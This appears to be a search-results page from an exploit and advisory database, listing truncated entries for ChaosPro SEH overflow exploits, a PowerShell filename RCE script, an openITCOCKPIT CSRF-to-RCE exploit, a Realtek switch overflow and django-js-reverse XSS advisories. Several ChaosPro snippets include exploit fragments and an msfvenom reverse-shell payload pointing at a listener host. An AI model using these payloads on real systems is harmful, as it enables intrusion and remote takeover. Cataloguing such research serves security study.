9118 matches found
Pwning a Siemens Scalance ICS switch through ARM reversing
We’ve been working in industrial control systems security for a long time. Several of the team here used to work in OT control rooms or support SCADA environments. Whilst pen testing a ship control system, we noticed a heavy reliance on Siemens Scalance industrial ethernet switches, so bought a...
ChaosPro 2.0 - SEH Buffer Overflow Exploit
!C:\Python27\python.exe Title : ChaosPro 2.0 Twitter : @securitychops Blog Post : https://securitychops.com/2019/08/24/retro-exploit-series-episode-one-chaospro-3-1.html this needs to be a backwards jump to give us room to call stack jump code jmpback80 = "\x40\x75\x80\x75" jmpforward06 =...
ChaosPro 2.1 SEH Buffer Overflow
!C:\Python27\python.exe Title : ChaosPro 2.1 Twitter : @securitychops Blog Post : https://securitychops.com/2019/08/24/retro-exploit-series-episode-one-chaospro-3-1.html our egg! payload = "T00WT00W" the payload payload += msfvenom -p windows/shellreversetcp LHOST=10.0.7.17 LPORT=4444 -e...
ChaosPro 2.1 - SEH Buffer Overflow
ChaosPro 2.1 - SEH Buffer Overflow !C:\Python27\python.exe Title : ChaosPro 2.1 Twitter : @securitychops Blog Post : https://securitychops.com/2019/08/24/retro-exploit-series-episode-one-chaospro-3-1.html our egg! payload = "T00WT00W" the payload payload += msfvenom -p windows/shellreversetcp...
ChaosPro 3.1 - SEH Buffer Overflow
!C:\Python27\python.exe Title : ChaosPro 3.1 Twitter : @securitychops Blog Post : https://securitychops.com/2019/08/24/retro-exploit-series-episode-one-chaospro-3-1.html our egg! payload = "T00WT00W" adjust the stack from 00F2FFA6 to 00F2FFA8 payload += "\x83\xC4\x02" the payload payload +=...
GGPowerShell / Windows PowerShell Remote Command Execution
from base64 import b64encode from base64 import b64decode from socket import import argparse,sys,socket,struct,re GGPowerShell Microsoft Windows PowerShell - Unsantized Filename RCE Dirty File Creat0r. Original advisory:...
GGPowerShell / Windows PowerShell Remote Command Execution Exploit
This python script mints a .ps file with an exploitable semicolon condition that allows for command execution from Microsoft Windows PowerShell. from base64 import b64encode from base64 import b64decode from socket import import argparse,sys,socket,struct,re GGPowerShell Microsoft Windows...
Cross-site Scripting in django-js-reverse
django-js-reverse aka Django JS Reverse before 0.9.1 has XSS via jsreverseinline...
GHSA-VX6V-2RG6-865H Cross-site Scripting in django-js-reverse
django-js-reverse aka Django JS Reverse before 0.9.1 has XSS via jsreverseinline...
django-js-reverse cross-site scripting vulnerability
django-js-reverse is a Django application for handling URL naming. A cross-site scripting vulnerability exists in versions prior to django-js-reverse 0.9.1, which can be exploited by an attacker to execute client-side code...
Cross-site Scripting (XSS)
django-js-reverse is vulnerable to cross-site scripting XSS. The attack is possible because it does not escape the entities via jsreverseinline...
openITCOCKPIT 3.6.1-2 Cross Site Request Forgery
Exploit Title: openITCOCKPIT 3.6.1-2 - CSRF 2 RCE Google Dork: N/A Date: 26-08-2019 Exploit Author: Julian Rittweger Vendor Homepage: https://openitcockpit.io/ Software Link: https://github.com/it-novum/openITCOCKPIT/releases/tag/openITCOCKPIT-3.6.1-2 Fixed in: 3.7.1 |...
openITCOCKPIT 3.6.1-2 - Cross-Site Request Forgery
Exploit Title: openITCOCKPIT 3.6.1-2 - CSRF 2 RCE Google Dork: N/A Date: 26-08-2019 Exploit Author: Julian Rittweger Vendor Homepage: https://openitcockpit.io/ Software Link: https://github.com/it-novum/openITCOCKPIT/releases/tag/openITCOCKPIT-3.6.1-2 Fixed in: 3.7.1 |...
Realtek Managed Switch Controller RTL83xx Stack Overflow
SOT Subject Realtek Managed Switch Controller RTL83xx PoC 2019 bashis https://www.realtek.com/en/products/communications-network-ics/category/managed-switch-controller Brief description 1. Boa/Hydra suffer of exploitable stack overflow with a 'one byte read-write loop' w/o boundary check. all FW...
CVE-2019-15486
django-js-reverse aka Django JS Reverse before 0.9.1 has XSS via jsreverseinline...
PYSEC-2019-19
django-js-reverse aka Django JS Reverse before 0.9.1 has XSS via jsreverseinline...
PYSEC-2019-89
django-js-reverse aka Django JS Reverse before 0.9.1 has XSS via jsreverseinline...
CVE-2019-15486
django-js-reverse aka Django JS Reverse before 0.9.1 has XSS via jsreverseinline...
